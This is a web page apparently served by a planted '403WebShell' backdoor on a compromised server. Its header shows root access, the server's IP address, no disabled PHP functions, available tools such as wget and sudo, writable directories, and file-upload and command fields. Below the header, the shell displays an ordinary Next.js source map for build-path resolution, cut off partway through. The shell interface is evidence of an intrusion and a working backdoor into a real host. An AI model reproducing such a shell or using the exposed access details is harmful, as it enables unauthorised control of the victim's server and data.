Uname:Linux machinox-server 6.17.0-1013-aws #13~24.04.1-Ubuntu SMP Fri Apr 24 21:36:58 UTC 2026 aarch64

Base Dir : /var/www/machinox.in

User : root


403WebShell
403Webshell
Server IP : 13.235.167.51  /  Your IP : 216.73.217.116
Web Server : Apache
System : Linux machinox-server 6.17.0-1013-aws #13~24.04.1-Ubuntu SMP Fri Apr 24 21:36:58 UTC 2026 aarch64
User : root ( 0)
PHP Version : 8.2.29
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/control.machinox.in/node_modules/next/dist/esm/lib/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/control.machinox.in/node_modules/next/dist/esm/lib/resolve-build-paths.js.map
{"version":3,"sources":["../../../src/lib/resolve-build-paths.ts"],"sourcesContent":["import { promisify } from 'util'\nimport globOriginal from 'next/dist/compiled/glob'\nimport * as Log from '../build/output/log'\nimport path from 'path'\nimport fs from 'fs'\nimport isError from './is-error'\n\nconst glob = promisify(globOriginal)\n\ninterface ResolvedBuildPaths {\n  appPaths: string[]\n  pagePaths: string[]\n}\n\n/**\n * Escapes bracket expressions that correspond to existing directories.\n * This allows Next.js dynamic routes like [slug] to work with glob patterns.\n *\n * e.g., \"app/blog/[slug]/** /page.tsx\" → \"app/blog/\\[slug\\]/** /page.tsx\"\n *       (if app/blog/[slug] directory exists)\n */\nfunction escapeExistingBrackets(pattern: string, projectDir: string): string {\n  // Match bracket expressions: [name], [...name], [[...name]]\n  const bracketRegex = /\\[\\[?\\.\\.\\.[^\\]]+\\]?\\]|\\[[^\\]]+\\]/g\n  let lastIndex = 0\n  let result = ''\n  let match: RegExpExecArray | null\n\n  while ((match = bracketRegex.exec(pattern)) !== null) {\n    const pathPrefix = pattern.slice(0, match.index + match[0].length)\n    const exists = fs.existsSync(path.join(projectDir, pathPrefix))\n\n    result += pattern.slice(lastIndex, match.index)\n    result += exists\n      ? match[0].replace(/\\[/g, '\\\\[').replace(/\\]/g, '\\\\]')\n      : match[0]\n    lastIndex = match.index + match[0].length\n  }\n\n  return result + pattern.slice(lastIndex)\n}\n\n/**\n * Resolves glob patterns and explicit paths to actual file paths.\n * Categorizes them into App Router and Pages Router paths.\n */\nexport async function resolveBuildPaths(\n  patterns: string[],\n  projectDir: string\n): Promise<ResolvedBuildPaths> {\n  const appPaths: Set<string> = new Set()\n  const pagePaths: Set<string> = new Set()\n\n  for (const pattern of patterns) {\n    const trimmed = pattern.trim()\n    if (!trimmed) continue\n\n    try {\n      // Escape brackets that correspond to existing Next.js dynamic route directories\n      const escapedPattern = escapeExistingBrackets(trimmed, projectDir)\n      const matches = (await glob(escapedPattern, {\n        cwd: projectDir,\n      })) as string[]\n\n      if (matches.length === 0) {\n        Log.warn(`Pattern \"${trimmed}\" did not match any files`)\n      }\n\n      for (const file of matches) {\n        if (!fs.statSync(path.join(projectDir, file)).isDirectory()) {\n          categorizeAndAddPath(file, appPaths, pagePaths)\n        }\n      }\n    } catch (error) {\n      throw new Error(\n        `Failed to resolve pattern \"${trimmed}\": ${\n          isError(error) ? error.message : String(error)\n        }`\n      )\n    }\n  }\n\n  return {\n    appPaths: Array.from(appPaths).sort(),\n    pagePaths: Array.from(pagePaths).sort(),\n  }\n}\n\n/**\n * Categorizes a file path to either app or pages router based on its prefix.\n *\n * Examples:\n * - \"app/page.tsx\" → appPaths.add(\"/page.tsx\")\n * - \"pages/index.tsx\" → pagePaths.add(\"/index.tsx\")\n */\nfunction categorizeAndAddPath(\n  filePath: string,\n  appPaths: Set<string>,\n  pagePaths: Set<string>\n): void {\n  const normalized = filePath.replace(/\\\\/g, '/')\n\n  if (normalized.startsWith('app/')) {\n    appPaths.add('/' + normalized.slice(4))\n  } else if (normalized.startsWith('pages/')) {\n    pagePaths.add('/' + normalized.slice(6))\n  }\n}\n\n/**\n * Parse build paths from comma-separated format\n * Supports:\n * - Comma-separated values: \"app/page.tsx,app/about/page.tsx\"\n *\n * @param input - String input to parse\n * @returns Array of path patterns\n */\nexport function parseBuildPathsInput(input: string): string[] {\n  // Comma-separated values\n  return input\n    .split(',')\n    .map((p) => p.trim())\n    .filter((p) => p.length > 0)\n}\n"],"names":["promisify","globOriginal","Log","path","fs","isError","glob","escapeExistingBrackets","pattern","projectDir","bracketRegex","lastIndex","result","match","exec","pathPrefix","slice","index","length","exists","existsSync","join","replace","resolveBuildPaths","patterns","appPaths","Set","pagePaths","trimmed","trim","escapedPattern","matches","cwd","warn","file","statSync","isDirectory","categorizeAndAddPath","error","Error","message","String","Array","from","sort","filePath","normalized","startsWith","add","parseBuildPathsInput","input","split","map","p","filter"],"mappings":"AAAA,SAASA,SAAS,QAAQ,OAAM;AAChC,OAAOC,kBAAkB,0BAAyB;AAClD,YAAYC,SAAS,sBAAqB;AAC1C,OAAOC,UAAU,OAAM;AACvB,OAAOC,QAAQ,KAAI;AACnB,OAAOC,aAAa,aAAY;AAEhC,MAAMC,OAAON,UAAUC;AAOvB;;;;;;CAMC,GACD,SAASM,uBAAuBC,OAAe,EAAEC,UAAkB;IACjE,4DAA4D;IAC5D,MAAMC,eAAe;IACrB,IAAIC,YAAY;IAChB,IAAIC,SAAS;IACb,IAAIC;IAEJ,MAAO,AAACA,CAAAA,QAAQH,aAAaI,IAAI,CAACN,QAAO,MAAO,KAAM;QACpD,MAAMO,aAAaP,QAAQQ,KAAK,CAAC,GAAGH,MAAMI,KAAK,GAAGJ,KAAK,CAAC,EAAE,CAACK,MAAM;QACjE,MAAMC,SAASf,GAAGgB,UAAU,CAACjB,KAAKkB,IAAI,CAACZ,YAAYM;QAEnDH,UAAUJ,QAAQQ,KAAK,CAACL,WAAWE,MAAMI,KAAK;QAC9CL,UAAUO,SACNN,KAAK,CAAC,EAAE,CAACS,OAAO,CAAC,OAAO,OAAOA,OAAO,CAAC,OAAO,SAC9CT,KAAK,CAAC,EAAE;QACZF,YAAYE,MAAMI,KAAK,GAAGJ,KAAK,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